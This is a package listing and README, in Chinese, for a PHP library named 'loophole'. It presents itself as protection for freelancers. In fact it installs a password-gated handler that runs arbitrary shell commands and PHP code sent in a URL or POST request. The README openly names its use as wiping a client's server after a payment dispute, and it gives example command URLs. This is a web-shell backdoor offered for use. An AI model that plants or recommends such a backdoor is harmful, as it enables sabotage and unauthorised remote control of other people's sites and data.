daniilskli / loophole
这个库旨在为自由职业者以及其他人提供安全保护,以便在无需管理面板的情况下安全访问网站。何时会有用?如果你是一名自由职业者且遭受了诈骗,你可以在服务器上运行一些系统命令来删除所有内容。在其他情况下,例如通过 POST API 远程控制网站。总的来说,我创建这个包是为了自己使用,但我把它放在这里,以便其他人可以使用它,而不必每次都编写新代码。如果能帮到别人,我会很高兴 :)
0.2-alpha
2022-04-04 23:24 UTC
Requires
- php: ^7.4 || ^8.0
- monolog/monolog: ^2.4
Requires (Dev)
- symfony/var-dumper: ^6.0
This package is auto-updated.
Last update: 2024-09-05 05:05:48 UTC
README
这个库旨在为自由职业者以及其他人提供安全保护,以便在无需管理面板的情况下安全访问网站。何时会有用?如果你是一名自由职业者且遭受了诈骗,你可以在服务器上运行一些系统命令来删除所有内容。在其他情况下,例如通过 POST API 远程控制网站。总的来说,我创建这个包是为了自己使用,但我把它放在这里,以便其他人可以使用它,而不必每次都编写新代码。如果能帮到别人,我会很高兴 :)
快速入门
安装
composer require daniilskli/loophole
基本用法
<?php
require_once __DIR__ . "/../vendor/autoload.php";
use Loophole\Setup;
use Loophole\Config;
$loophole = new Setup((new Config("myTopSecretPassword"))->setLog(true));
$loophole->start();
并在 URL 地址中
https://:8080/?password=password_hash&command=touch hello.txt // 创建一个 "hello.txt" 文件 `https://:8080/?password=password_hash&command=php::echo 123; // 在页面上输出 123
警告!
password,command - 必要参数。
方法
配置
__construct(string password)setLog(true or false, path (has default value))使用monolog库setMethod(string 'POST' or 'GET')你可以使用Loophole\Config\Method
设置
__construct(Config)start()
结束
目前就这么多,我稍后会创建一个维基,对一切进行更详细的解释。